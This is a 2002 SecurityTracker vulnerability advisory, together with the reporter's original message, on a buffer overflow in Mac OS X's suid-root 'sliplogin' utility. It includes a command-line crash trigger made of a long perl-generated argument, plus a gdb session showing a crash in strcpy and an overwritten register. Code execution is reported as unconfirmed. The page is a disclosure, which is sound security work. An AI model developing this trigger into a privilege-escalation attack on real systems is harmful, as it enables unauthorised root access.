SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |    Help    |   

SecurityTracker
Archives


Welcome to SecurityTracker!
 
Click to Sign Up
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com

Questions?
Want to learn about SecurityTracker? We've got answers to frequently asked questions right here
Sign Up!





Category:  Application (Generic)  >  Sliplogin Vendors:  [Multiple Authors/Vendors]
'sliplogin' Serial Line IP Utility Buffer Overflow May Possibly Allow Local Users to Gain Elevated Privileges
SecurityTracker Alert ID:  1004317
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  May 17 2002
Impact:  Execution of arbitrary code via local system, Root access via local system
Description:  A buffer overflow vulnerability was reported in the 'sliplogin' utility on Mac OS X. The ability for a local user to execute arbitrary code was not confirmed.

The buffer overflow can reportedly be triggered by a local user supplying a long command line argument to the utility, as shown in the following demonstration exploit transcript:

[localhost:~] elguapo% sliplogin `perl -e 'print "A" x 9000'`
Bus error

It is reported that 'sliplogin' is configured with set user id (suid) root privileges. However, the ability to execute arbitrary code was not confirmed in the report.

[Editor's note: The report indicated that the author was not able to confirm remote code execution. However, because the utility is suid root and the potential may exist, we are reporting the bug.]

Impact:  The ability of a local user to execute arbitrary code was not confirmed. However, if it is possible, the code would run with root level privileges, giving the local user root access on the system.
Solution:  No solution was available at the time of this entry.
Cause:  Boundary error
Underlying OS:  UNIX (OS X)
Underlying OS Comments:  10.1.3
Reported By:  Kevin Finisterre <dotslash@snosoft.com>
Message History:   None.


 Source Message Contents

Date:  Wed, 15 May 2002 15:41:20 -0700
From:  Kevin Finisterre <dotslash@snosoft.com>
Subject:  Apple OSX sliplogin overflow

 

(side note ... isn't it odd that I can run gdb on a suid binary?)

Osx version 10.1.3

[localhost:~] elguapo% ls -al /usr/sbin/sliplogin
-r-sr-xr-x  1 root  wheel  14700 Dec  8 10:49 /usr/sbin/sliplogin

[localhost:~] elguapo% sliplogin `perl -e 'print "A" x 9000'`
Bus error

[localhost:~] elguapo% uname -a
Darwin localhost 5.3 Darwin Kernel Version 5.3: Thu Jan 24 22:06:02 PST 
2002; root:xnu/xnu-201.19.obj~1/RELEASE_PPC  Power Macintosh powerpc

[localhost:~] elguapo% id
uid=501(elguapo) gid=20(staff) groups=20(staff), 0(wheel), 80(admin)
[localhost:~] elguapo% ls -al /usr/sbin/sliplogin
-r-sr-xr-x  1 root  wheel  14700 Dec  8 10:49 /usr/sbin/sliplogin
[localhost:~] elguapo% gdb /usr/sbin/sliplogin
GNU gdb 5.0-20001113 (Apple version gdb-203) (Wed Nov  7 16:28:57 GMT 
2001) (UI_OUT)
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you 
are
welcome to change it and/or distribute copies of it under certain 
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for 
details.
This GDB was configured as "powerpc-apple-macos10".
Reading symbols for shared libraries .. done
(gdb) r `perl -e 'print "A" x 1476'`
Starting program: /usr/sbin/sliplogin `perl -e 'print "A" x 1477'`
[Switching to thread 1 (process 339 thread 0x1603)]

Program received signal EXC_BAD_ACCESS, Could not access memory.
0x70004c88 in strcpy ()
(gdb) bt
#0  0x70004c88 in strcpy ()
#1  0x00001bd4 in ?? ()
#2  0x00002278 in ?? ()
#3  0x00001af4 in ?? ()
#4  0x00001924 in ?? ()

I have not been able to accomplish anything short of overwriting r0 with 
41.
If the sc command gets called you could control the next syscall by 
changing
the value in r0. I personally can do nothing with it...

(gdb) r `perl -e 'print "A" x 1478'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/sbin/sliplogin `perl -e 'print "A" x 1478'`
[Switching to thread 1 (process 351 thread 0x1c07)]

Program received signal EXC_BAD_ACCESS, Could not access memory.
0x70004c88 in strcpy ()
(gdb) i r
r0             0x41     65

-KF

 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us   |    Help

Copyright 2002, SecurityGlobal.net LLC